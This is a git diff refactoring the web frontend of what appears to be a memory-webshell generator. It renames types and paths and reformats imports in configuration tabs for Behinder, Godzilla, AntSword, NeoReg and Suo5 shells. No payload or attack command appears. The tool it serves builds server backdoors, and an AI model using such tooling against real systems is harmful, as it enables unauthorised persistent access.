- CommandIcon, - NetworkIcon, - ServerIcon, - ShieldOffIcon, - SwordIcon, - WaypointsIcon, - ZapIcon, + ArrowUpRightIcon, + AxeIcon, + CommandIcon, + NetworkIcon, + ServerIcon, + ShieldOffIcon, + SwordIcon, + WaypointsIcon, + ZapIcon, } from "lucide-react"; -import { type JSX, useCallback, useEffect, useId, useState } from "react"; -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab"; -import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab"; -import { CommandTabContent } from "@/components/memshell/tabs/command-tab"; +import {type JSX, useCallback, useEffect, useId, useState} from "react"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {AntSwordTabContent} from "@/components/memshell/tabs/antsword-tab"; +import {BehinderTabContent} from "@/components/memshell/tabs/behinder-tab"; +import {CommandTabContent} from "@/components/memshell/tabs/command-tab"; import CustomTabContent from "@/components/memshell/tabs/custom-tab"; -import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab"; -import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab"; -import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import {GodzillaTabContent} from "@/components/memshell/tabs/godzilla-tab"; +import {NeoRegTabContent} from "@/components/memshell/tabs/neoreg-tab"; +import {Suo5TabContent} from "@/components/memshell/tabs/suo5-tab"; +import {Card, CardContent, CardHeader, CardTitle} from "@/components/ui/card.tsx"; import { - FormControl, - FormDescription, - FormField, - FormFieldItem, - FormFieldLabel, - FormItem, - FormLabel, - FormMessage, + FormControl, + FormDescription, + FormField, + FormFieldItem, + FormFieldLabel, + FormItem, + FormLabel, + FormMessage, } from "@/components/ui/form.tsx"; -import { Label } from "@/components/ui/label.tsx"; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx"; -import { Switch } from "@/components/ui/switch.tsx"; -import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs"; -import type { ShellFormSchema } from "@/types/schema.ts"; -import { type MainConfig, type ServerConfig, ShellToolType } from "@/types/shell.ts"; +import {Label} from "@/components/ui/label.tsx"; +import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from "@/components/ui/select.tsx"; +import {Switch} from "@/components/ui/switch.tsx"; +import {Tabs, TabsList, TabsTrigger} from "@/components/ui/tabs"; +import {type MainConfig, type ServerConfig, ShellToolType} from "@/types/memshell"; +import type {MemShellFormSchema} from "@/types/schema.ts"; const shellToolIcons: Record = { [ShellToolType.Behinder]: , @@ -60,7 +60,7 @@ export default function MainConfigCard({ servers, }: Readonly<{ mainConfig: MainConfig | undefined; - form: UseFormReturn; + form: UseFormReturn; servers?: ServerConfig; }>) { const [shellToolMap, setShellToolMap] = useState<{ diff --git a/web/src/components/memshell/package-config-card.tsx b/web/src/components/memshell/package-config-card.tsx index eb0b3851..7934a5be 100644 --- a/web/src/components/memshell/package-config-card.tsx +++ b/web/src/components/memshell/package-config-card.tsx @@ -1,12 +1,12 @@ -import { PackageIcon } from "lucide-react"; -import { useEffect, useState } from "react"; -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; -import { FormControl, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx"; -import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx"; -import type { ShellFormSchema } from "@/types/schema.ts"; -import type { PackerConfig } from "@/types/shell.ts"; +import {PackageIcon} from "lucide-react"; +import {useEffect, useState} from "react"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent, CardHeader, CardTitle} from "@/components/ui/card.tsx"; +import {FormControl, FormField, FormItem, FormLabel} from "@/components/ui/form.tsx"; +import {RadioGroup, RadioGroupItem} from "@/components/ui/radio-group.tsx"; +import type {PackerConfig} from "@/types/memshell"; +import type {MemShellFormSchema} from "@/types/schema.ts"; type Option = { name: string; @@ -18,7 +18,7 @@ export default function PackageConfigCard({ form, }: Readonly<{ packerConfig: PackerConfig | undefined; - form: UseFormReturn; + form: UseFormReturn; }>) { const [options, setOptions] = useState>([]); diff --git a/web/src/components/memshell/results/agent.tsx b/web/src/components/memshell/results/agent.tsx index 6782927a..1656a471 100644 --- a/web/src/components/memshell/results/agent.tsx +++ b/web/src/components/memshell/results/agent.tsx @@ -1,16 +1,16 @@ -import { ScrollTextIcon } from "lucide-react"; -import { useTranslation } from "react-i18next"; -import { Button } from "@/components/ui/button"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import { Separator } from "@/components/ui/separator"; -import { downloadBytes, formatBytes } from "@/lib/utils"; -import type { GenerateResult } from "@/types/shell"; +import {ScrollTextIcon} from "lucide-react"; +import {useTranslation} from "react-i18next"; +import {Button} from "@/components/ui/button"; +import {Card, CardContent, CardHeader, CardTitle} from "@/components/ui/card"; +import {Separator} from "@/components/ui/separator"; +import {downloadBytes, formatBytes} from "@/lib/utils"; +import type {MemShellResult} from "@/types/memshell"; export function AgentResult({ packMethod, packResult, generateResult, -}: Readonly<{ packMethod: string; packResult: string; generateResult?: GenerateResult }>) { +}: Readonly<{ packMethod: string; packResult: string; generateResult?: MemShellResult }>) { const { t } = useTranslation(); const isPureAgent = packMethod === "AgentJar"; return ( diff --git a/web/src/components/memshell/results/basic-info.tsx b/web/src/components/memshell/results/basic-info.tsx index 868234fa..9307bb0a 100644 --- a/web/src/components/memshell/results/basic-info.tsx +++ b/web/src/components/memshell/results/basic-info.tsx @@ -1,22 +1,22 @@ -import { FileTextIcon } from "lucide-react"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import { Separator } from "@/components/ui/separator"; -import { shouldHidden } from "@/lib/utils"; +import {FileTextIcon} from "lucide-react"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent, CardHeader, CardTitle} from "@/components/ui/card"; +import {Separator} from "@/components/ui/separator"; +import {shouldHidden} from "@/lib/utils"; import { - type AntSwordShellToolConfig, - type BehinderShellToolConfig, - type CommandShellToolConfig, - type GenerateResult, - type GodzillaShellToolConfig, - type NeoreGeorgShellToolConfig, - ShellToolType, - type Suo5ShellToolConfig, -} from "@/types/shell"; -import { CopyableField } from "../../copyable-field"; -import { FeedbackAlert } from "./feedback-alert"; + type AntSwordShellToolConfig, + type BehinderShellToolConfig, + type CommandShellToolConfig, + type GodzillaShellToolConfig, + type MemShellResult, + type NeoreGeorgShellToolConfig, + ShellToolType, + type Suo5ShellToolConfig, +} from "@/types/memshell"; +import {CopyableField} from "../../copyable-field"; +import {FeedbackAlert} from "./feedback-alert"; -export function BasicInfo({ generateResult }: Readonly<{ generateResult?: GenerateResult }>) { +export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/memshell/results/jar-result.tsx b/web/src/components/memshell/results/jar-result.tsx index 7d07bd0f..56e0376a 100644 --- a/web/src/components/memshell/results/jar-result.tsx +++ b/web/src/components/memshell/results/jar-result.tsx @@ -1,12 +1,12 @@ -import { useTranslation } from "react-i18next"; -import { Button } from "@/components/ui/button"; -import { downloadBytes } from "@/lib/utils"; -import type { GenerateResult } from "@/types/shell"; +import {useTranslation} from "react-i18next"; +import {Button} from "@/components/ui/button"; +import {downloadBytes} from "@/lib/utils"; +import type {MemShellResult} from "@/types/memshell"; export function JarResult({ packResult, generateResult, -}: Readonly<{ packResult: string; generateResult?: GenerateResult }>) { +}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) { const { t } = useTranslation(); return (
diff --git a/web/src/components/memshell/results/result-component.tsx b/web/src/components/memshell/results/result-component.tsx index 88fe896b..7930e353 100644 --- a/web/src/components/memshell/results/result-component.tsx +++ b/web/src/components/memshell/results/result-component.tsx @@ -1,9 +1,9 @@ -import { useTranslation } from "react-i18next"; +import {useTranslation} from "react-i18next"; import CodeViewer from "@/components/code-viewer"; -import type { GenerateResult } from "@/types/shell"; -import { AgentResult } from "./agent"; -import { JarResult } from "./jar-result"; -import { MultiPackResult } from "./multi-packer"; +import type {MemShellResult} from "@/types/memshell"; +import {AgentResult} from "./agent"; +import {JarResult} from "./jar-result"; +import {MultiPackResult} from "./multi-packer"; export function ResultComponent({ packResult, @@ -14,7 +14,7 @@ export function ResultComponent({ packResult: string | undefined; allPackResults: Map | undefined; packMethod: string; - generateResult?: GenerateResult; + generateResult?: MemShellResult; }>) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); diff --git a/web/src/components/memshell/shell-result.tsx b/web/src/components/memshell/shell-result.tsx index 7b00c383..de47dd1d 100644 --- a/web/src/components/memshell/shell-result.tsx +++ b/web/src/components/memshell/shell-result.tsx @@ -1,15 +1,15 @@ -import { DownloadIcon } from "lucide-react"; -import { useTranslation } from "react-i18next"; -import { toast } from "sonner"; +import {DownloadIcon} from "lucide-react"; +import {useTranslation} from "react-i18next"; +import {toast} from "sonner"; -import { QuickUsage } from "@/components/memshell/quick-usage"; -import { Button } from "@/components/ui/button.tsx"; -import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; -import { downloadBytes } from "@/lib/utils.ts"; -import type { GenerateResult } from "@/types/shell.ts"; +import {QuickUsage} from "@/components/memshell/quick-usage"; +import {Button} from "@/components/ui/button.tsx"; +import {Tabs, TabsContent, TabsList, TabsTrigger} from "@/components/ui/tabs.tsx"; +import {downloadBytes} from "@/lib/utils.ts"; +import type {MemShellResult} from "@/types/memshell"; import CodeViewer from "../code-viewer"; -import { BasicInfo } from "./results/basic-info"; -import { ResultComponent } from "./results/result-component"; +import {BasicInfo} from "./results/basic-info"; +import {ResultComponent} from "./results/result-component"; export default function ShellResult({ packResult, @@ -20,7 +20,7 @@ export default function ShellResult({ packResult: string | undefined; allPackResults: Map | undefined; packMethod: string; - generateResult?: GenerateResult; + generateResult?: MemShellResult; }>) { const { t } = useTranslation(); if (!generateResult) { diff --git a/web/src/components/memshell/tabs/antsword-tab.tsx b/web/src/components/memshell/tabs/antsword-tab.tsx index 0d87e605..4acba30f 100644 --- a/web/src/components/memshell/tabs/antsword-tab.tsx +++ b/web/src/components/memshell/tabs/antsword-tab.tsx @@ -1,18 +1,18 @@ -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent } from "@/components/ui/card"; -import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { TabsContent } from "@/components/ui/tabs"; -import type { ShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent} from "@/components/ui/card"; +import {FormControl, FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form"; +import {Input} from "@/components/ui/input"; +import {TabsContent} from "@/components/ui/tabs"; +import type {MemShellFormSchema} from "@/types/schema"; +import {OptionalClassFormField} from "./classname-field"; +import {ShellTypeFormField} from "./shelltype-field"; +import {UrlPatternFormField} from "./urlpattern-field"; export function AntSwordTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/memshell/tabs/behinder-tab.tsx b/web/src/components/memshell/tabs/behinder-tab.tsx index b669220e..131511d9 100644 --- a/web/src/components/memshell/tabs/behinder-tab.tsx +++ b/web/src/components/memshell/tabs/behinder-tab.tsx @@ -1,18 +1,18 @@ -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent } from "@/components/ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { TabsContent } from "@/components/ui/tabs"; -import type { ShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent} from "@/components/ui/card"; +import {FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form"; +import {Input} from "@/components/ui/input"; +import {TabsContent} from "@/components/ui/tabs"; +import type {MemShellFormSchema} from "@/types/schema"; +import {OptionalClassFormField} from "./classname-field"; +import {ShellTypeFormField} from "./shelltype-field"; +import {UrlPatternFormField} from "./urlpattern-field"; export function BehinderTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/memshell/tabs/classname-field.tsx b/web/src/components/memshell/tabs/classname-field.tsx index b25a31ff..d4717c04 100644 --- a/web/src/components/memshell/tabs/classname-field.tsx +++ b/web/src/components/memshell/tabs/classname-field.tsx @@ -1,13 +1,13 @@ -import { ChevronDown, ChevronUp, Settings } from "lucide-react"; -import { Fragment, useId, useState } from "react"; -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Button } from "@/components/ui/button"; -import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form.tsx"; -import { Input } from "@/components/ui/input.tsx"; -import type { ShellFormSchema } from "@/types/schema.ts"; +import {ChevronDown, ChevronUp, Settings} from "lucide-react"; +import {Fragment, useId, useState} from "react"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Button} from "@/components/ui/button"; +import {FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form.tsx"; +import {Input} from "@/components/ui/input.tsx"; +import type {MemShellFormSchema} from "@/types/schema.ts"; -export function OptionalClassFormField({ form }: Readonly<{ form: UseFormReturn }>) { +export function OptionalClassFormField({ form }: Readonly<{ form: UseFormReturn }>) { const { t } = useTranslation(); const [showAdvanced, setShowAdvanced] = useState(false); const shellClassNameId = useId(); diff --git a/web/src/components/memshell/tabs/command-tab.tsx b/web/src/components/memshell/tabs/command-tab.tsx index 0c5be9c0..2f58c475 100644 --- a/web/src/components/memshell/tabs/command-tab.tsx +++ b/web/src/components/memshell/tabs/command-tab.tsx @@ -1,21 +1,21 @@ -import { useQuery } from "@tanstack/react-query"; -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent } from "@/components/ui/card"; -import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; -import { TabsContent } from "@/components/ui/tabs"; -import { env } from "@/config"; -import type { ShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; +import {useQuery} from "@tanstack/react-query"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent} from "@/components/ui/card"; +import {FormControl, FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form"; +import {Input} from "@/components/ui/input"; +import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from "@/components/ui/select"; +import {TabsContent} from "@/components/ui/tabs"; +import {env} from "@/config"; +import type {MemShellFormSchema} from "@/types/schema"; +import {OptionalClassFormField} from "./classname-field"; +import {ShellTypeFormField} from "./shelltype-field"; +import {UrlPatternFormField} from "./urlpattern-field"; export function CommandTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); const { data } = useQuery<{ encryptors: Array; implementationClasses: Array }>({ queryKey: ["commandConfigs"], diff --git a/web/src/components/memshell/tabs/custom-tab.tsx b/web/src/components/memshell/tabs/custom-tab.tsx index 2aa5b8b0..d95008a7 100644 --- a/web/src/components/memshell/tabs/custom-tab.tsx +++ b/web/src/components/memshell/tabs/custom-tab.tsx @@ -1,22 +1,22 @@ -import { t } from "i18next"; -import { useId, useState } from "react"; -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { Card, CardContent } from "@/components/ui/card"; -import { FormControl, FormField, FormFieldItem, FormFieldLabel, FormMessage } from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { Label } from "@/components/ui/label"; -import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; -import { TabsContent } from "@/components/ui/tabs"; -import { Textarea } from "@/components/ui/textarea"; -import type { ShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; +import {t} from "i18next"; +import {useId, useState} from "react"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {Card, CardContent} from "@/components/ui/card"; +import {FormControl, FormField, FormFieldItem, FormFieldLabel, FormMessage} from "@/components/ui/form"; +import {Input} from "@/components/ui/input"; +import {Label} from "@/components/ui/label"; +import {RadioGroup, RadioGroupItem} from "@/components/ui/radio-group"; +import {TabsContent} from "@/components/ui/tabs"; +import {Textarea} from "@/components/ui/textarea"; +import type {MemShellFormSchema} from "@/types/schema"; +import {OptionalClassFormField} from "./classname-field"; +import {ShellTypeFormField} from "./shelltype-field"; +import {UrlPatternFormField} from "./urlpattern-field"; export default function CustomTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const [isFile, setIsFile] = useState(false); const optionOneId = useId(); const optionTwoId = useId(); diff --git a/web/src/components/memshell/tabs/godzilla-tab.tsx b/web/src/components/memshell/tabs/godzilla-tab.tsx index 020b6e8b..7aea7c4a 100644 --- a/web/src/components/memshell/tabs/godzilla-tab.tsx +++ b/web/src/components/memshell/tabs/godzilla-tab.tsx @@ -1,18 +1,18 @@ -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent } from "@/components/ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { TabsContent } from "@/components/ui/tabs"; -import type { ShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent} from "@/components/ui/card"; +import {FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form"; +import {Input} from "@/components/ui/input"; +import {TabsContent} from "@/components/ui/tabs"; +import type {MemShellFormSchema} from "@/types/schema"; +import {OptionalClassFormField} from "./classname-field"; +import {ShellTypeFormField} from "./shelltype-field"; +import {UrlPatternFormField} from "./urlpattern-field"; export function GodzillaTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/memshell/tabs/neoreg-tab.tsx b/web/src/components/memshell/tabs/neoreg-tab.tsx index 63f33cc0..2b73565a 100644 --- a/web/src/components/memshell/tabs/neoreg-tab.tsx +++ b/web/src/components/memshell/tabs/neoreg-tab.tsx @@ -1,18 +1,18 @@ -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent } from "@/components/ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { TabsContent } from "@/components/ui/tabs"; -import type { ShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent} from "@/components/ui/card"; +import {FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form"; +import {Input} from "@/components/ui/input"; +import {TabsContent} from "@/components/ui/tabs"; +import type {MemShellFormSchema} from "@/types/schema"; +import {OptionalClassFormField} from "./classname-field"; +import {ShellTypeFormField} from "./shelltype-field"; +import {UrlPatternFormField} from "./urlpattern-field"; export function NeoRegTabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/memshell/tabs/shelltype-field.tsx b/web/src/components/memshell/tabs/shelltype-field.tsx index 1209e649..6702dc85 100644 --- a/web/src/components/memshell/tabs/shelltype-field.tsx +++ b/web/src/components/memshell/tabs/shelltype-field.tsx @@ -1,13 +1,13 @@ -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { FormControl, FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form.tsx"; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx"; -import type { ShellFormSchema } from "@/types/schema.ts"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {FormControl, FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form.tsx"; +import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from "@/components/ui/select.tsx"; +import type {MemShellFormSchema} from "@/types/schema.ts"; export function ShellTypeFormField({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/memshell/tabs/suo5-tab.tsx b/web/src/components/memshell/tabs/suo5-tab.tsx index 3770af6f..37c7ed3a 100644 --- a/web/src/components/memshell/tabs/suo5-tab.tsx +++ b/web/src/components/memshell/tabs/suo5-tab.tsx @@ -1,18 +1,18 @@ -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent } from "@/components/ui/card"; -import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { TabsContent } from "@/components/ui/tabs"; -import type { ShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {Card, CardContent} from "@/components/ui/card"; +import {FormField, FormFieldItem, FormFieldLabel} from "@/components/ui/form"; +import {Input} from "@/components/ui/input"; +import {TabsContent} from "@/components/ui/tabs"; +import type {MemShellFormSchema} from "@/types/schema"; +import {OptionalClassFormField} from "./classname-field"; +import {ShellTypeFormField} from "./shelltype-field"; +import {UrlPatternFormField} from "./urlpattern-field"; export function Suo5TabContent({ form, shellTypes, -}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { +}: Readonly<{ form: UseFormReturn; shellTypes: Array }>) { const { t } = useTranslation(); return ( diff --git a/web/src/components/memshell/tabs/urlpattern-field.tsx b/web/src/components/memshell/tabs/urlpattern-field.tsx index 8034f3c0..57b02879 100644 --- a/web/src/components/memshell/tabs/urlpattern-field.tsx +++ b/web/src/components/memshell/tabs/urlpattern-field.tsx @@ -1,11 +1,11 @@ -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { FormField, FormFieldItem, FormFieldLabel, FormMessage } from "@/components/ui/form.tsx"; -import { Input } from "@/components/ui/input.tsx"; -import { shouldHidden } from "@/lib/utils"; -import type { ShellFormSchema } from "@/types/schema.ts"; +import {FormProvider, type UseFormReturn} from "react-hook-form"; +import {useTranslation} from "react-i18next"; +import {FormField, FormFieldItem, FormFieldLabel, FormMessage} from "@/components/ui/form.tsx"; +import {Input} from "@/components/ui/input.tsx"; +import {shouldHidden} from "@/lib/utils"; +import type {MemShellFormSchema} from "@/types/schema.ts"; -export function UrlPatternFormField({ form }: Readonly<{ form: UseFormReturn }>) { +export function UrlPatternFormField({ form }: Readonly<{ form: UseFormReturn }>) { const { t } = useTranslation(); const shellType = form.watch("shellType"); return ( diff --git a/web/src/components/probe/basic-info.tsx b/web/src/components/probeshell/basic-info.tsx similarity index 87% rename from web/src/components/probe/basic-info.tsx rename to web/src/components/probeshell/basic-info.tsx index f2bb6fd3..4c5c6eb0 100644 --- a/web/src/components/probe/basic-info.tsx +++ b/web/src/components/probeshell/basic-info.tsx @@ -3,9 +3,9 @@ import { useTranslation } from "react-i18next"; import { CopyableField } from "@/components/copyable-field"; import { FeedbackAlert } from "@/components/memshell/results/feedback-alert"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import type { ProbeGenerateResult } from "@/types/probe"; +import type { ProbeShellResult } from "@/types/probeshell"; -export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeGenerateResult }>) { +export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeShellResult }>) { const { t } = useTranslation(); return ( @@ -19,7 +19,7 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeG -
+
; + readonly form: UseFormReturn; readonly servers?: ServerConfig; } diff --git a/web/src/components/probe/package-config-card.tsx b/web/src/components/probeshell/package-config-card.tsx similarity index 95% rename from web/src/components/probe/package-config-card.tsx rename to web/src/components/probeshell/package-config-card.tsx index c76ac2e3..07653704 100644 --- a/web/src/components/probe/package-config-card.tsx +++ b/web/src/components/probeshell/package-config-card.tsx @@ -5,8 +5,8 @@ import { useTranslation } from "react-i18next"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { FormControl, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx"; import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx"; -import type { ProbeFormSchema } from "@/types/schema"; -import type { PackerConfig } from "@/types/shell.ts"; +import type { PackerConfig } from "@/types/memshell"; +import type { ProbeShellFormSchema } from "@/types/schema"; type Option = { name: string; @@ -18,7 +18,7 @@ export default function PackageConfigCard({ form, }: Readonly<{ packerConfig: PackerConfig | undefined; - form: UseFormReturn; + form: UseFormReturn; }>) { const [options, setOptions] = useState>([]); const { t } = useTranslation(); diff --git a/web/src/components/probe/quick-usage.tsx b/web/src/components/probeshell/quick-usage.tsx similarity index 100% rename from web/src/components/probe/quick-usage.tsx rename to web/src/components/probeshell/quick-usage.tsx diff --git a/web/src/components/probe/shell-result.tsx b/web/src/components/probeshell/shell-result.tsx similarity index 91% rename from web/src/components/probe/shell-result.tsx rename to web/src/components/probeshell/shell-result.tsx index 7740e3a1..f836c785 100644 --- a/web/src/components/probe/shell-result.tsx +++ b/web/src/components/probeshell/shell-result.tsx @@ -1,7 +1,7 @@ import { useTranslation } from "react-i18next"; -import { QuickUsage } from "@/components/probe/quick-usage"; +import { QuickUsage } from "@/components/probeshell/quick-usage"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; -import type { ProbeGenerateResult } from "@/types/probe"; +import type { ProbeShellResult } from "@/types/probeshell"; import CodeViewer from "../code-viewer"; import { MultiPackResult } from "../memshell/results/multi-packer"; import { BasicInfo } from "./basic-info"; @@ -15,7 +15,7 @@ export default function ShellResult({ packResult: string | undefined; allPackResults: Map | undefined; packMethod: string; - generateResult?: ProbeGenerateResult; + generateResult?: ProbeShellResult; }>) { const { t } = useTranslation(); if (!generateResult) { diff --git a/web/src/lib/config.ts b/web/src/lib/config.ts index 6bcf81a5..6524901f 100644 --- a/web/src/lib/config.ts +++ b/web/src/lib/config.ts @@ -8,8 +8,8 @@ export const siteConfig = { label: "MemShellGenerator", }, { - href: "/probe", - label: "ProbeGenerator", + href: "/probeshell", + label: "ProbeShellGenerator", }, ], }; diff --git a/web/src/pages/memshell.tsx b/web/src/pages/memshell.tsx index b6531c17..a2f1428c 100644 --- a/web/src/pages/memshell.tsx +++ b/web/src/pages/memshell.tsx @@ -11,16 +11,16 @@ import ShellResult from "@/components/memshell/shell-result"; import {Button} from "@/components/ui/button"; import {Form} from "@/components/ui/form.tsx"; import {env} from "@/config.ts"; -import {type ShellFormSchema, shellFormSchema, useYupValidationResolver} from "@/types/schema.ts"; import { type APIErrorResponse, - type GenerateResponse, - type GenerateResult, type MainConfig, + type MemShellGenerateResponse, + type MemShellResult, type PackerConfig, type ServerConfig, ShellToolType, -} from "@/types/shell.ts"; +} from "@/types/memshell"; +import {type MemShellFormSchema, memShellFormSchema, useYupValidationResolver} from "@/types/schema.ts"; import {transformToPostData} from "@/utils/transformer.ts"; export default function MemShellPage() { @@ -52,7 +52,7 @@ export default function MemShellPage() { const { t } = useTranslation(); const form = useForm({ - resolver: useYupValidationResolver(shellFormSchema, t), + resolver: useYupValidationResolver(memShellFormSchema, t), defaultValues: { server: urlParams.server ?? "Tomcat", serverVersion: urlParams.serverVersion ?? "unknown", @@ -79,15 +79,15 @@ export default function MemShellPage() { const [packResult, setPackResult] = useState(); const [allPackResults, setAllPackResults] = useState | undefined>(); - const [generateResult, setGenerateResult] = useState(); + const [generateResult, setGenerateResult] = useState(); const [packMethod, 